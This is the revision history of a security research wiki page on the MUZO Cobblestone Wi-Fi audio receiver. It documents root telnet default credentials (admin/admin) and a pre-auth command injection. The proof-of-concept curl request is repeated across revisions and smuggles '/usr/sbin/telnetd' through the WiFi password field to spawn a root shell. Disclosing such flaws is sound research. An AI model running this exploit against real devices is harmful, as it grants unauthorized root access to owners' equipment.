MUZO Cobblestone - Revision history

CJ: /* Pre Auth Root Command Injection */

2017-08-11T01:04:42Z

Pre Auth Root Command Injection

← Older revision		Revision as of 01:04, 11 August 2017
Line 16:		Line 16:
	The device permits logins with root permissions with the username of <code>admin</code> and password of <code>admin</code>		The device permits logins with root permissions with the username of <code>admin</code> and password of <code>admin</code>

	==Pre ~~Auth~~ Root Command Injection==		==Pre Authorization Root Command Injection==

	~~Target: /httpapi~~.~~asp~~		A pre-authorization command injection bug exists in the main application, as the WiFi password is directly passed to a command line utility. A simple command injection via a curl request can spawn a telnet shell, as the root user with no credentials needed.

			Proof of Concept:
	<pre style="white-space: pre-wrap;">		<pre style="white-space: pre-wrap;">
	curl 'http://192.168.43.37/httpapi.asp' -H 'CONTENT-TYPE: application/x-www-form-urlencoded' -H 'Accept: /' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'If-Modified-Since: 0, 0' --data 'command=wlanConnectApEx:ssid=636A32:ch=1:auth=WPA2PSK:encry=AES:pwd=3132333435363738;/usr/sbin/telnetd;:chext=0' --compressed		curl 'http://192.168.43.37/httpapi.asp' -H 'CONTENT-TYPE: application/x-www-form-urlencoded' -H 'Accept: /' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'If-Modified-Since: 0, 0' --data 'command=wlanConnectApEx:ssid=636A32:ch=1:auth=WPA2PSK:encry=AES:pwd=3132333435363738;/usr/sbin/telnetd;:chext=0' --compressed
	</pre>		</pre>

	~~Connect to the telnet service as root~~

CJ: /* Telnet Default Credentials */

2017-08-11T00:45:41Z

Telnet Default Credentials

← Older revision		Revision as of 00:45, 11 August 2017
Line 14:		Line 14:
	==Telnet Default Credentials==		==Telnet Default Credentials==

	~~Device~~ permits logins as root with username <code>admin</code> and password <code>admin</code>		The device permits logins with root permissions with the username of <code>admin</code> and password of <code>admin</code>

	==Pre Auth Root Command Injection==		==Pre Auth Root Command Injection==

0x00string at 06:02, 9 August 2017

2017-08-09T06:02:46Z

← Older revision		Revision as of 06:02, 9 August 2017
Line 10:		Line 10:
	== Purchase ==		== Purchase ==
	Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.		Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
	[https://www.amazon.com/MUZO-Cobblestone-Wi-Fi-Audio-Receiver/dp/B00N9NZIKM Purchase the MUZO Cobblestone at Amazon]		[https://www.amazon.com/MUZO-Cobblestone-Wi-Fi-Audio-Receiver/dp/B00N9NZIKM/ref=sr_1_1?s=electronics&ie=UTF8&qid=1502258551&sr=1-1&tag=exploiteers-20 Purchase the MUZO Cobblestone at Amazon]

	==Telnet Default Credentials==		==Telnet Default Credentials==

0x00string: Created page with "FORCETOC {{Disclaimer}} thumb Category:IOT =MUZO Cobblestone= "MUZO Cobblestone is a Wi-Fi Audio Receiver that makes your speakers wirel..."

2017-08-09T05:39:14Z

Created page with "__FORCETOC__ {{Disclaimer}} 120px|left|thumb Category:IOT =MUZO Cobblestone= "MUZO Cobblestone is a Wi-Fi Audio Receiver that makes your speakers wirel..."

New page

__FORCETOC__
{{Disclaimer}}
[[File:MUZO.JPG|120px|left|thumb]]
[[Category:IOT]]

=MUZO Cobblestone=

"MUZO Cobblestone is a Wi-Fi Audio Receiver that makes your speakers wireless. Now you can control music play to your speakers without having to connect your audio cable to your speakers. Cobblestone is easy to set-up. Just connect your Cobblestone to your speaker, amplifier or receiver, and configure your Cobblestone to your home Wi-Fi network with our MUZO Player app and start streaming your favorite music. It’s as easy as that. AirPlay multi-room is supported for Cobblestones and not yet supported for 3rd party Airplay devices."

== Purchase ==
Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
[https://www.amazon.com/MUZO-Cobblestone-Wi-Fi-Audio-Receiver/dp/B00N9NZIKM Purchase the MUZO Cobblestone at Amazon]

==Telnet Default Credentials==

Device permits logins as root with username <code>admin</code> and password <code>admin</code>

==Pre Auth Root Command Injection==

Target: /httpapi.asp

<pre style="white-space: pre-wrap;">
curl 'http://192.168.43.37/httpapi.asp' -H 'CONTENT-TYPE: application/x-www-form-urlencoded' -H 'Accept: */*' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'If-Modified-Since: 0, 0' --data 'command=wlanConnectApEx:ssid=636A32:ch=1:auth=WPA2PSK:encry=AES:pwd=3132333435363738;/usr/sbin/telnetd;:chext=0' --compressed
</pre>

Connect to the telnet service as root

MUZO Cobblestone - Revision history

CJ: /* Pre Auth Root Command Injection */

CJ: /* Telnet Default Credentials */

0x00string at 06:02, 9 August 2017

0x00string: Created page with "__FORCETOC__ {{Disclaimer}} thumb Category:IOT =MUZO Cobblestone= "MUZO Cobblestone is a Wi-Fi Audio Receiver that makes your speakers wirel..."

0x00string: Created page with "FORCETOC {{Disclaimer}} thumb Category:IOT =MUZO Cobblestone= "MUZO Cobblestone is a Wi-Fi Audio Receiver that makes your speakers wirel..."